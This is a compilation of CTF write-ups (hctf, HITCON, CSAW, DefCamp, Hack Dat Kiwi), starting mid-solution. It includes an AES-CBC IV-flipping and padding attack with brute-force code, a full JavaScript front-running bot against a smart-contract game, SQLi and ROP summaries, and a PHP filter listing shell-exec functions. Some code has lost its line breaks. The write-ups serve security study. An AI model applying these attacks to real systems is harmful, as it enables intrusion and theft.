Moving on to the fifth one.Hints were given during the CTF:flag.substr(-5,3) == "333" and flag.substr(-8,1) == "3".And the value of the fifth char, '2', is given in one of the condition.FLAG: hctf{XXX_rev3rse_iz_s0_X3XX2333X}
The we can try to get the first 4 chars of the last word.
```jsm = str_to_hex(words_from_input[4]["substr"](0, 4)) - 0x48a05362 == n % l;
// str_to_hex(words_from_input[4]["substr"](0, 4)) == (n % l) + 0x48a05362// str_to_hex(words_from_input[4]["substr"](0, 4)) == ((f * e * words_from_input[0]["length"]) % 0x2f9b5072) + 0x48a05362// str_to_hex(words_from_input[4]["substr"](0, 4)) == ((0x4315332 * 0x4b7c0a73 * x) % 0x2f9b5072) + 0x48a05362```
If we find the x value we can get the str_to_hex() output.It should represent 4 char so it would look like: 0xFFFFFFFFWe try some length to get a possible value wich would give some printable ascii.For a x value of 7 we get 0x6834726468 = h34 = 472 = r64 = dFLAG: hctf{XX_rev3rse_iz_s0_h4rd23XX333X}
```jswords_from_input[4]["substr"](-2, 1) - words_from_input[4]["substr"](4, 1) == 1// We already know that words_from_input[4]["substr"](4, 1) == '2'// So words_from_input[4]["substr"](-2, 1) == '3'
words_from_input[4]["substr"](6, 2) == get_str_full_of_c(words_from_input[4]["substr"](7, 1), 2)// From that we know that the 7th and the 8th char are the same.
o = str_to_hex(words_from_input[4]["substr"](6, 2))["substr"](2) == words_from_input[4]["substr"](6, 1)["charCodeAt"]() * words_from_input[4]["length"] * 5;// We can see this condition like: 0xFFFF == 0xFF * x * 5// Where FF is the hex value of the 7/8th char.// The only char that confirm this condition is 'e'.// Wich, by the way, gives us a length of 13 for the fifth word.```
And here it is, our fifth word.FLAG: hctf{XX_rev3rse_iz_s0_h4rd23ee3333}
We only need one more word to get the complete flag.The last hint for this challenge was:sha256(flag) == "d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443"Considering that we only miss 2 char, we can easily try all the possibilities.
And finally:FLAG: hctf{j5_rev3rse_iz_s0_h4rd23ee3333} |
# Secret server (Crypto, 221p)
```AES is unbreakable. Right?
nc 52.193.157.19 9999```
In the task we get the [sever sources](secretserver.py) to work with.It's rather short and pretty simple to understand.
1. The application asks us to solve a simple PoW2. Application sends to us AES-CBC encrypted message `Welcome!!` with appropriate padding.3. Application reads commands from us, decrypts them and if the command is correct it gets executed and we get back encrypted results.
Worth noting:
1. IV is appended as the first block of the ciphertext!2. The commands are first stripped and then only startswith is checked, so it doesn't matter if we have some more characters as long as prefix fits.3. `unpad` does not check the padding at all, it just cut designated number of bytes, can be multiple whole blocks.
The fact that we can control the IV is very useful because it means we can modify the IV by XOR to enforce any decryption of the first block.This is due to the way CBC mode it works -> after decrypting i-th block, the block is XORed with ciphertext of block i-1 (or with IV if it's the first block).If we know what was the previous plaintext we can simply XOR k-th byte of IV with k-th byte of previous plaintext to "zero" the resulting byte, and XOR one more time with expected value to make AES-CBC get this expected byte at k-th position after decrypting.
We can easily use this feature to "change" the `Welcome!!` message into one of the available commands, in our case into `get-flag`, since we know the whole plaintext.This gives us the ciphertext with flag from the server.
Next step is noticing that the flag prefix is `hitcon{` which means we know part of the plaintext for first block!In fact we know enough of the plaintext to turn this block into a command again!The easiest one to use was again `get-flag`.Notice that we are one character short here, we can easily turn `hitcon{` into `get-fla` but we don't know what XOR we need to get the next character to become `g` since we don't know the first character of the plaintext flag.But we can simply brute-force it, it's only 255 possibilities and only one of the will actually work and server will return the encrypted flag (and we already have this ciphertext so we can compare the output with it).
So we do something like:
```pythonfor i in range(255): iv[7] = ord(iv[7]) ^ ord('g') ^ i if command_ok(iv): print(chr(i)) break```
And we manage to recover the first byte of the flag -> `P`Since the server does `.strip()` on our commands we can use the same technique now to get second byte of the flag, by preparing a new command with a space at the beginning.So we change `hitcon{P` into ` get-fla` and again perform the same brute-force to get another character.
This approach works until we hit the end of the first block.We can't push it any further because the second block is XORed with ciphertext of the first block, and we can't modify it without causing this block to decrypt badly.
But we figured that there is still the `unpad` issue here.If we could force the last byte of the payload we send to be some arbitrary large value, it would cut the plaintext up to a character we want.This would be very useful since we can use command like `get-md5` to calculate md5 of the rest of the plaintext.
If we could:
1. Change first block to a bunch of spaces and `get-md5` at the end of the block, with one character available at the end of the block. Force the padding to cut all other plaintext blocks. Then get all possible encrypted md5 sums for every possible value of this single character.2. Change first block to a bunch of spaces and `get-md5` at the very end of the block, and force the paddin to cut all of the plaintext from other blocks leaving only a single character in the second block.
What happens we basically get: `get-md5X` where `X` is the first byte of the flag second block, and `get-md51`, `get-md52`, `get-md53`...
And we can simply compare the results to find the real value for `X`.We can then cut one of the spaces in from of `get-md5` and extract another byte the same way.It works until we run out of spaces to cut, but it's already enough to extract prefix of the next block plaintext, which basically gets us to the same point as we were at the very beginning with `hitcon{` prefix, so we can shift blocks to the left (first block of flag becomes IV) and perform the whole thing again!
The last problem is how can we force the `unpad` to cut as many characters from plaintext as we want.The trick here is to notice that we can simply append blocks at the end!Specifically we can append our good old `Welcome!!` message with the IV (so 2 blocks).We know that this message has a standard padding applied, so we know the last byte of plaintext.We can easily XOR last byte of the IV we're attaching at the end, to force the very last of the whole plaintext to be anything we want.Of course this IV block we just glued will decrypt into some random bytes, but we don't care since we will cut it anyway.
This means we can cut the plaintext now at any position we want, and it's enough to run the attack described above.
It takes a while since we need to test any potential printable character for every byte in the flag but in the end we get:
`hitcon{Paddin9_15_ve3y_h4rd__!!}`
The whole attack code is [here](attack.py) |
[writeup by @abiondo]
**CTF:** CSAW CTF Final Round 2017
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** reversing / DEFCON 1
**Points:** 50
```The year is 1981. Matthew Cyber-Broderick (You) finds a bizzare system. Understand it, and decrypt the secret ROM within.
Part 1 of Global Thermonuclear Cyberwar.
Run with qemu-system-i386 -drive format=raw,file=cyberwar.rom
NOTE: The gdbstub in the latest QEMU on ubuntu gave us issues. A known-good version of QEMU is 2.10.1```
This challenge was the first part of a more difficult one ([Global Thermonuclear Cyberwar](../../pwn/cyberwar)).
We are given a [x86 system image](./cyberwar.rom):
```$ file cyberwar.romcyberwar.rom: DOS/MBR boot sector```
If we run the image, we're greeted with the following prompt:
```WOPR SUPERCOMPUTERTHIS IS A CSAW OWNED COMPUTER SYSTEM - ALL ATTEMPTS AT ILLEGAL ACCESS WILLBE SEVERELY PUNISHED TO THE FULL EXTENT OF THE LAW.FOR AUTHORIZATION, PLEASE WRITE TO PROF. STEVEN FALKEN.LOGIN>```
Okay, let's load the image up in IDA (base and entry point at 0x7C00, 16-bit code).
After setting up the video mode (text 80x25) and printing the prompt, it performs a disk read:
This loads 24 512-byte sectors, starting from sector 1, into memory at 0x1000. After that, it's easy to see the input loop and determine that the input length is 8 bytes. After the input has been acquired, there's the following code:
This decrypts 0x2000 bytes starting from address 0x1000 by repeating key XOR with the input, also single-byte XORed with 0x3C. Then, it checks whether the 8 bytes starting at 0x1003 are equal to `WARGAMES`. If they aren't, it goes back to prompting for a password. On the other hand, if the check passes, it sets the video mode to VGA 320x200 color, sets up the stack pointer to 0xF000 and jumps to 0x1000 (beginning of decrypted code).
Since XOR encryption is used and we know 8 consecutive bytes of the plaintext, we can derive the key (i.e., the input password). I wrote a [small script](./scripts/extract.py) that finds the key and decrypts the whole ROM.
Now the flag's pretty easy to find:
```$ strings rom_dec | grep -Po 'flag{.*?}'flag{ok_you_decrypted_it_now_plz_pwn_it!}flag{__PWN_ON_SERVER_TO_GET_REAL_FLAG__}```
The first flag is for this challenge. The second one refers to the [second part](../../pwn/cyberwar-350). |
# 完美無瑕\~Impeccable Artifact\~ - Exploitation/"Perfection" - 192 points - 72 teams solved
> Overwhelmingly consummate protection>> nc 52.192.178.153 31337>> [artifact-4c4375825c4a08ae9d14492b34b3bddd.zip](./artifact-4c4375825c4a08ae9d14492b34b3bddd.zip)
The binary allows you to read and write to arbitrary locations in memory, relative to a stack variable, so generating [ROP](https://en.wikipedia.org/wiki/Return-oriented_programming) code is easy enough. It is made a lot harder by a [seccomp](https://en.wikipedia.org/wiki/Seccomp) filter that seems like it disallows any syscalls except `read, write, fstat, lseek, mmap, mprotect, munmap, brk, exit, exit_group`. Most notably, `open` and `execve` are missing. We spent a lot of time trying to see where a flaw might be, but the disassembled filter code seemed watertight. It was not until someone used a different disassembler than the one in [libseccomp](https://github.com/seccomp/libseccomp/tree/master/tools) that we saw the flaw - if `rax == rdx` then any syscall will go through. This wasn't discovered because the libseccomp disassembler is incomplete - it does not support disassembling any code using the `x` register addressing mode. After exploiting this flaw, we got the flag with normal ROP code - `hitcon{why_libseccomp_cheated_me_Q_Q}` |
**tl;dr**: classic gets buffer overflow, no print gadgets, build rop chain to pivot stack to GOT location and call system via `add rax,rdx` and `call rax` gadget.
Original writeup has the full rop chain with extensive comments. |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span><span><span>CSAW 2017 Finals</span></span><span>/</span><span><span>Reverse</span></span><span>/</span>rabbithole<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF</span></span></span><span>/</span><span><span>CSAW 2017 Finals</span></span><span>/</span><span><span>Reverse</span></span><span>/</span>rabbithole<span>/</span></div>
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# Data and Mining (Forensics, 137p)
In the task we get a rather large pcapng file (230 MB!), but the task was actually rather trivial because the flag was written in plaintext.Since we didn't expect it to be so, we first did load the file into Network Miner and Wireshark to see what exactly we have there.
Most of is was some strange and random packets but looking around available TCP streams we finally find:
```{"method":"login","params":{"login":"45duiDz79Y2AtSZH2pw9uV8YXmvtAT8tVNAYrfKTUnYiQZT5BMdRrGD4hbipmZ5DoaQXLak9ENEwYNC7kVk3ivDyMHyZCVV","pass":"hitcon{BTC_is_so_expensive_$$$$$$$}","agent":"xmr-stak-cpu/1.3.0-1.5.0"},"id":1}{"id":1,"jsonrpc":"2.0","error":null,"result":{"id":"862725926260463","job":{"blob":"0606f0caedcf05fdd86cbe0f15bc3348d604fe35830c579edf14293facd6ea0ccfe3eee4333da700000000fcbc11627100084072bdf490f984a780283662579715458b5b7cc79241b9916813","job_id":"505683845491148","target":"711b0d00"},"status":"OK"}}{"jsonrpc":"2.0","method":"job","params":{"blob":"0606f0caedcf05fdd86cbe0f15bc3348d604fe35830c579edf14293facd6ea0ccfe3eee4333da700000000cfe1acb5536f58c031d3d283f6b28c6a5ec623199fc3c1a0566452af58c4ccfb13","job_id":"246228154539130","target":"4a861b00"}}{"method":"submit","params":{"id":"862725926260463","job_id":"246228154539130","nonce":"88030000","result":"193736d498976952b64024ec0a331fbb4cb25b70b3f049ebfdb1b8a49d670f00"},"id":1}{"id":1,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}}{"method":"submit","params":{"id":"862725926260463","job_id":"246228154539130","nonce":"c6050000","result":"2d88e73d77d30a2433bc278c0e95ccd201072fd8228bdf1549128d4eddde0a00"},"id":1}{"id":1,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}}{"jsonrpc":"2.0","method":"job","params":{"blob":"0606f0caedcf05fdd86cbe0f15bc3348d604fe35830c579edf14293facd6ea0ccfe3eee4333da70000000080b6cf10161e3dbeae53526958001e18e799232b1c5497829f922e772d2a76f713","job_id":"543452732195146","target":"e3380e00"}}{"method":"submit","params":{"id":"862725926260463","job_id":"543452732195146","nonce":"17010000","result":"edc5c13d93b28620561c5a8f969fc0df30f8f4b6dafd11e749fe531aa6300200"},"id":1}{"id":1,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}}{"jsonrpc":"2.0","method":"job","params":{"blob":"0606f0caedcf05fdd86cbe0f15bc3348d604fe35830c579edf14293facd6ea0ccfe3eee4333da700000000feb1a807a7690bfc5207eb5ab80741d918aadab53d2293237ce25f61c994dbc213","job_id":"148255726112984","target":"ce950700"}}{"jsonrpc":"2.0","method":"job","params":{"blob":"0606a1ccedcf05ffcd054c320a4110c7468c4829f34dd84159522c9ba5e29cb9b1db57d855dde300000000b9978dcdfc7e40c8a7fa8305bb120b5c02e7eca365b2604fc70bc099f119112504","job_id":"753287914698012","target":"ce950700"}}```
Which contains the flag in plaintext.It turns out we could have just done `cat inputfile.pcapng | grep hitcon`.
`hitcon{BTC_is_so_expensive_$$$$$$$}` |
I'm sorry, my English is not enough to use English to describe the details. Writeup will try my best to use standard Chinese which is easy to translate.
https://lorexxar.cn/2017/11/15/hctf2017-deserted-world/ |
In short: find a way to get your requests signed, then exploit insecure unpickling.
[Original Writeup](https://zackorndorff.com/2017/11/15/csaw-ctf-finals-2017-kws-1-writeup/) |
I'm sorry my English is not enough to use English to describe the details. Writeup will try my best to use standard Chinese which is easy to translate.
https://lorexxar.cn/2017/11/15/hctf2017-restore-world/#A-World-Restored |
tl;dr1. SQLi via "Host" header2. `procedure analyse()` to get name of the table and columns3. `union select...` + `to_base64` to grab the flag
Whole writeup: https://github.com/p4-team/ctf/tree/master/2017-11-09-defcamp-final/state_agency |
## spock-lizard-omega
### DescriptionI was thinking that my approach from beta would fix my mistakes from alpha but it seems blockchain is different from traditional programming. However, I've done a bit of research and I'm pretty sure this time you won't break it. Let's see how it goes now. Are you strong enough?
The victim: https://dctf.def.camp/finals-2017-lpmjksalfka/DctfChall3.solThe API: omegas.dctf-f1nals-2017.def.campTransaction API: https://dctf.def.camp/finals-2017-lpmjksalfka/sample3.html
*PS: I've made a cron to reset blockchain so you won't have to wait too much for minning.*
### Author: Andrei
### Stats: 400 points / 0 solvers
### SolutionBased on the challenge description, you receive two APIs with some functionalities such as:- get_balance: returns the number of ETH a wallet holds- new_cold_wallet: create a wallet which can be unlocked by a password- send_money: send eth to other account- call_contract: call a function from a smart contract- get_flag: returns the flag if you solved the problem- get_victim: returns a smart contract address which is supposed to be the target for the game- play_the_game: a function that spawns a game between a victim smart contract and another player
Looking at the source code of the DctfChall.sol you can see that the smart contract is bassically a game of *rock, paper, scissor, spock, lizard*. It can be played by two players and you can choose one of the 5 options available (from 1 to 5).
The Winner player is decide based on the **getWinner()** function:```javascript function getWinner(uint8 option1, uint8 option2) internal returns (uint8) { if(option1 == option2) { return 0; }
if(option1 == 0x1) { if(option2 == 0x3 || option2 == 0x5) return 1; return 2; }
if(option1 == 0x2) { if(option2 == 0x1 || option2 == 0x4) return 1; return 2; }
if(option1 == 0x3) { if(option2 == 0x2 || option2 == 0x5) return 1; return 2; }
if(option1 == 0x4) { if(option2 == 0x3 || option2 == 0x1) return 1; return 2; }
if(option1 == 0x5) { if(option2 == 0x4 || option2 == 0x2) return 1; return 2; }
return 0;//should never get here}```
The goal is to make the **getFlag()** function to answer with *"this guy should receive the reward"* when is being called by the Admin Bot.
``` javascriptfunction getFlag() onlyIfIsPro public returns (string) { return 'this guy should receive the reward'; } modifier onlyIfIsPro() { require(solvedHistory[msg.sender] >= 10 && solvedHistory[msg.sender] == triesHistory[msg.sender]); _; }```As you can see above, this is going to happen only if you win 10 times in a row but never loose a game.
##### The solutionWe know than we can "subscribe" to all transactions being made on the blockchain against a specific address by using the API available in the **sample.html**. ```javascript
$(document).ready(function() { client = io.connect('http://45.76.94.172:8080');
/* receive transactions based on web3.eth.subscribe('pendingTransactions') */ client.on('transaction', function(data) { console.log('transaction', data); });
client.on('connect', function() { console.log('connected'); client.emit('listen_for', mytarget); });});```
However, this time there is a significant increase of security measures. For once, we can only send join the game **ONLY before** the bot.
```javascriptmodifier onlyValidPlayers() { if(totalplayers == 1) { require(msg.sender != players[totalplayers].addr); require((players[totalplayers].addr == bot && msg.sender != bot) || (players[totalplayers].addr != bot && msg.sender == bot)); } _; }```If that wasn't supposed to be enought, the approach to send the option is totally changed:
Both players need to **first send a nonce of the option** they choosed which is generated with ```keccak256(msg.sender, _opt, _nonce)``` call.
```javascriptfunction choose(bytes32 _commit) onlyPlaying onlyWithBet onlyValidPlayers payable public { require(_commit.length == 32);
totalplayers += 1; players[totalplayers].addr = msg.sender; players[totalplayers].invested = msg.value; players[totalplayers].commit = _commit; players[totalplayers].showed = false;
totalinvested += msg.value; }```
Only after both players sent their nonce, they can **reveal** the real option. The option will be valid if the Smart Contract can recompute the nonce previously sent.
```javascript
function reveal(uint8 _option, bytes _nonce) onlyWhenPlayed isPlaying(msg.sender) isValidOption(_option, _nonce) public { uint p = getPlayerId(msg.sender); players[p].showed = true; players[p].option = _option; }
modifier isValidOption(uint8 _opt, bytes _nonce) { uint p = getPlayerId(msg.sender); require(p > 0); require(!players[p].showed && keccak256(msg.sender, _opt, _nonce) == players[p].commit); require(_opt >= 1 && _opt <= 5); _; }```
It is pretty clear that we won't be able to use the previously described attack - [Transaction-Ordering Dependence (TOD) / Front Running](https://consensys.github.io/smart-contract-best-practices/known_attacks/#transaction-ordering-dependence-tod-front-running).
However, looking closely at the **play()** function, we can see that the Admin will do the following:- return the invested eth if only one player sent a nonce (Case A)- return the invested eth if only one player showed the option (Case B)- send the full bet to the winner if it's not a tie (Case C)
```javascript function play() onlyOwner public returns (uint8) { //CASE A if(totalplayers < 2) { if(totalplayers > 0) { if(!players[1].addr.send(players[1].invested)) { //shit happens } } reset(); return 0; } //CASE B which is vulnerable if(!players[1].showed || !players[2].showed) { if(!players[1].addr.send(players[1].invested)) { //shit happens }
if(!players[2].addr.send(players[2].invested)) { //shit happens }
reset(); return 0; }
//CASE C uint8 winner = getWinner(players[1].option, players[2].option); triesHistory[players[1].addr] +=1; triesHistory[players[2].addr] +=1;
require(totalinvested > 0);
if(winner != 0) { if(!players[winner].addr.send(totalinvested)) { //shit happens } solvedHistory[players[winner].addr] += 1; } else { if(!players[1].addr.send(players[1].invested)) { //shit happens }
if(!players[2].addr.send(players[2].invested)) { //shit happens } } reset(); return winner; }```
Looking at this we can see that althought we are unable to win all the time, we can *"forget"* to show the option when we see that the bot **showed** a winning solution. Thus, we will bassically have a *"tie"* when we know for sure that we've lost the game. So we are back to a Frontrunning strategy.
##### The solver```html
<html><head>
<script src="https://cdn.socket.io/socket.io-1.4.5.js"></script><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script><script>
var CHOOSE_FUNCTION = '0x7460c747';var REVEAL_FUNCTION = '0x80c06d70';var PLAY_FUNCTION = '0x93e84cd9';
var NOT_PLAYING = 0;var PLAYING = 1;var REVEALED = 2;var CURRENT_STATUS = NOT_PLAYING;
var OUR_OPTION = 0;//hex encoded 'Vt37gM30Z;/(2oM{j^p(+y.ynNCK/=ws'//randstr(32); //we don't care too much of our security because the bot is supposedly stupid and wouldn't frontrun us >:)var OUR_NONCE = '0x56743337674d33305a3b2f28326f4d7b6a5e70282b792e796e4e434b2f3d7773'; var OUR_COMMITS = JSON.parse('[null,"0x1de280cb49c7895a387cc2fd7b1d54962838d6329f7b6ded63289561ebb81271","0x5d627d8aeb6e211589af2c0f60563f990ad847bb214ed3350a097f899f47c034","0x8d8aa116cb276cbd9cef6e750ffbb14742e1418fc92e15877345977c2bebe1d4","0x76ba61b495366258d8dcc6a94bc197c583d17a773aa1895df982724146392765","0xfc9f3f104eb4c329e8eab1be4e17a00d9a40018e130fd4a8cc6a8cbf3b1b1345"]');
var client;var myaddress = '0x'.toLowerCase();var mypassword = 'password';var mytarget = '0x'.toLowerCase();
var winners = [ [0,0,0,0,0,0], [0,0,2,1,2,1], [0,1,0,2,1,2], [0,2,1,0,2,1], [0,1,2,1,0,2], [0,2,1,2,1,0]];
var command_params = { function:'call_contract', abi: '[{"constant":true,"inputs":[],"name":"totalinvested","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"solvedHistory","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"bot","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalplayers","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"minbet","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_commit","type":"bytes32"}],"name":"choose","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_option","type":"uint8"},{"name":"_nonce","type":"bytes"}],"name":"reveal","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"triesHistory","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"play","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"hasShowed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"reset","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"getFlag","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_minbet","type":"uint256"},{"name":"_bot","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]', address: mytarget, from: myaddress, password: mypassword, func:null, params:null, value:'10000000000000', type:'standard', gas:'2500000', gasPrice: 0};
function randstr(length) { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789~!@#$%^&*()_+{}:\"|<>?/.,;'\\][=-]"; for(var i = 0; i < length; i++) { text += possible.charAt(Math.floor(Math.random() * possible.length)); } return text;}
$(document).ready(function() { client = io.connect('http://108.61.178.190:8080');
client.on('transaction', function(data) { console.log('transaction', data, data.from, myaddress);
if(CURRENT_STATUS == NOT_PLAYING && //not playing data.from.toLowerCase() != myaddress.toLowerCase() && //not me data.input.indexOf(CHOOSE_FUNCTION) !== -1 //if the bot played something ) { console.log('The bot is playing something.'); OUR_OPTION = Math.floor((Math.random() * 5) + 1); //OUR_COMMIT = web3.utils.soliditySha3({t:'address', v: myaddress}, {t:'uint8', v: OUR_OPTION}, OUR_NONCE);
console.log('Sending commit option: ', OUR_OPTION); command_params.func = 'choose'; command_params.params = JSON.stringify([OUR_COMMITS[OUR_OPTION]]); command_params.value = '10000000000000'; CURRENT_STATUS = PLAYING;
$.post('https://omegas.dctf-f1nals-2017.def.camp', command_params, function(data) { console.log(data); }); } else if(CURRENT_STATUS == PLAYING && data.from.toLowerCase() != myaddress.toLowerCase() && //not me data.input.indexOf(REVEAL_FUNCTION) !== -1 //if the bot revealed something ) { CURRENT_STATUS = REVEALED; //input in blockchain is: sha3 of the function (first 8chars) + 256 bits for each param and we only //care of the first param which is bot's options var player2_option = 1*data.input[REVEAL_FUNCTION.length + 63]; console.log('The bot revealed his option', player2_option); if(winners[player2_option][OUR_OPTION] == 2) {//if our solution is winning console.log('For options ', player2_option, OUR_OPTION, ' we won.'); command_params.func = 'reveal'; command_params.params = JSON.stringify([OUR_OPTION, OUR_NONCE]); command_params.value = '0'; $.post('https://omegas.dctf-f1nals-2017.def.camp', command_params, function(data) { console.log(data); }); } else { console.log('For options ', player2_option, OUR_OPTION, ' we lost.'); //do nothing and wait for the owner to restart the game for not revealing } } else if(data.from.toLowerCase() != myaddress.toLowerCase() && //not me data.input.indexOf(PLAY_FUNCTION) !== -1 //if play was hit ) { console.log('Game finished.'); CURRENT_STATUS = NOT_PLAYING; OUR_OPTION = 0; } else { //do nothing } });
client.on('connect', function() { console.log('connected'); client.emit('listen_for', mytarget); });});</script>
</head><body></body></html>``` |
# Hack Dat Kiwi 2017## PS1
## Information**Category:** | **Points:** | **Author:**--- | --- | ---Crypto | 100 | Ben Burnett
## DescriptionWe are presented with a php script responsible for encryption and decryption along with three parameters for configuring it:```BLOCK_SIZE = 16;SEED = 1396;ROUNDS = 1;```
We are presented with a large block of ciphertext, and asked to decrypt it.
## SolutionThe first thing I did was an analysis of the php encryption script. The variable `ROUNDS` from earlier refers to how many passes of encryption would take place.Each pass puts the plaintext through `sbox`, `pbox`, and `xbox`.
#### sboxThis is a simple substitution box. Based on the SEED, the numbers from 0-255 are randomized and assigned as values to the keys 0-255 in a dictionary. When the `sbox` processes it looks up the ordinal of the plaintext character in this dictionary and substitutes the value.
#### pboxThis is a permutation box. Based on the SEED, an array of the numbers 0-15 is randomized. This array represents the order in which the block will be rearranged.
#### xboxA simple xor. It is taking the block, and xoring it with the md5 hash of the key.
Based on this information, and that only one ROUND takes place, I decided that I wanted to try and recover the md5 of the key.To do this, we can ignore the `pbox` as the xor takes place afterwards.The idea is that we block off the ciphertext in to BLOCKSIZE blocks, and then columnize the blocks. Columnize meaning that we take index 0 of every block and put that in to a new list. We repeat that process for each index.What we know now is that each column was xored with the same key character, so we write a script to test all valid numbers that could have been xored with our ciphertext that when put through the `sbox` backwards results in printable ascii. We then find the intersect of the solutions for each character in a column, and see what falls out. In this case, our output was:
```['0xf2']['0x76']['0x14']['0xc5']['0x21']['0xa']['0x17']['0x4d']['0xa7']['0x92']['0xe9']['0x2']['0x86']['0x6b']['0xd7']['0x40']```
So we pieced back together the md5 `f27614c5210a174da792e902866bd740`, plugged it in to the php script, and decoded the message.
|
# Caesar's favourite song (Misc/Crypto/Stegano)
In the task we get a [song](killthegauls.mp3).We also know that the flag format is `DCTFXXXDCTF`.
We start off by translating the song into [notes](killthegauls.xml) by some free software.One we have the transcription we parse this and store in a single list.Initially we didn't take octave into consideration and we couldn't get this to work, but fortunately at some point we remembered that there were sounds in a different octave. We marked this different octave sounds as lowercase, to keep track of them.
We noticed that if we combine pairs of sounds next to one another we get identical sequence of length 4 at the start and end, which would fit the flag format:
`['AA', 'AG', 'BA', 'Ac', 'GD', 'GD', 'GD', 'AB', 'AF', 'Ge', 'Gc', 'AB', 'GD', 'GD', 'GA', 'GB', 'GB', 'AA', 'AE', 'GD', 'AG', 'GF', 'GA', 'AB', 'GA', 'GG', 'AB', 'GG', 'Ge', 'Ac', 'AA', 'GE', 'AG', 'GE', 'AA', 'GD', 'Gf', 'Gd', 'Ge', 'Gd', 'AA', 'AG', 'BA', 'Ac']`
Now we need to somehow "decrypt" rest of the flag.We knew that `AA` should become `D`, `AG` should be `C`, `BA` should be `T` and `Ac` should be `F`.
Looking at bits of the expected symbol we noticed that bit sequences of the `A` are the same, but in case of `BA` they're shifted by 4.We guessed that there is a simple arithmetic encoding here -> first character in the pair is translated into some number and shifter by 4 bits to the left, and then added to the translated second character.From the flag format we could devise that `A` has to translate to `4`, `G` translate to `3`, `B` translate to `5` and `c` translate to `6`.
We expected that those are not just some random values, since otherwise we could not decrypt this in an unique way.Since this was all about music, we thought that maybe it's an actual music scale, we looked at some and finally we found one that fit -> `D major`.We applied the whole scale and decrypted the flag.
Whole solver [here](caesar.py) |
```#!/usr/bin/env python2
# 1. xor every char with 0x76# 2. xor chars [7, 14) w/ 0xad and other stuff # 3. xor chars [14, 21) w/ 0xbe and other stuff# 4. xor chars [21, 28) w/ 0xef and other stuff
def lshift(y, x): return x << ydef rshift(y, x): return x >> ydef _and(y, x): return y & x;def _or(y, x): return y | x;def _xor(y, x): return y ^ x;
def math7to14(char): return _or( rshift(1, _and(0xAA, _xor(0xad, _xor(0x76, char) ) ) ), _and(0xAA, lshift(1, _xor(0xad, _xor(0x76, char) ) ) ) )
def math14to21(char): return _or( rshift(2, _and(0xcc, _xor(0xbe, _xor(0x76, char) ) ) ), _and(0xcc, lshift(2, _xor(0xbe, _xor(0x76, char) ) ) ) )
def math21to28(char): return _or( rshift(4, _and(0xf0, _xor(0xef, _xor(0x76, char) ) ) ), _and(0xf0, lshift(4, _xor(0xef, _xor(0x76, char) ) ) ) )
#encoded flag address: 0x41b0dcencoded_flag = list("\x1e\x15\x02\x10\rHHo\xdd\xddHdc\xd7.,\xfejm*\xf2o\x9aM\x8bK\xca\xcfN@F\x10GF\x0b")flag = []for c in encoded_flag: flag += [(chr(ord(c) ^ 0x76)) ]
for i in range(len(encoded_flag)): if 7 <= i < 14: for j in range(128): if math7to14(j) == ord(encoded_flag[i]): print("i: " + str(i) + " j: " + str(j) + " char: " +chr(j)) flag[i] = chr(j) if 14 <= i < 21: for j in range(128): if math14to21(j) == ord(encoded_flag[i]): print("i: " + str(i) + " j: " + str(j) + " char: " +chr(j)) flag[i] = chr(j) if 21 <= i < 28: for j in range(128): if math21to28(j) == ord(encoded_flag[i]): print("i: " + str(i) + " j: " + str(j) + " char: " +chr(j)) flag[i] = chr(j)
print(''.join(c for c in flag))# hctf{>>D55_CH0CK3R_B0o0M!-5e860f10}``` |
We can:- login- register a new user
Once we are authenticated, we can use a text editor.
We take choose a function, write a regex, write some text and have the text that matches the regex replaced with the output of our functions. (line 35-37)```php $editedText = preg_replace_callback("/" . $_POST["regex"] . "/", function ($matches) { return call_user_func($_POST["method"], $matches[0]); }, $_POST["text"]);```
The client provides a couple of examples (line 43-48)```html <select name="method"> <option value="" disabled selected>select a method</option> <option value="strtoupper">to upper case</option> <option value="strtolower">to lower case</option> <option value="ucfirst">first letter to upper case</option> </select>```
However the method is only checked by this snippet (line 7-9)```phpif (preg_match("/exec|system|passthru|`|proc_open|popen/", strtolower($_POST["method"].$_POST["text"])) != 0) { exit("Do you really think you could pass something to the command line? Functions like this are often disabled! Maybe have a look at the source?");}```
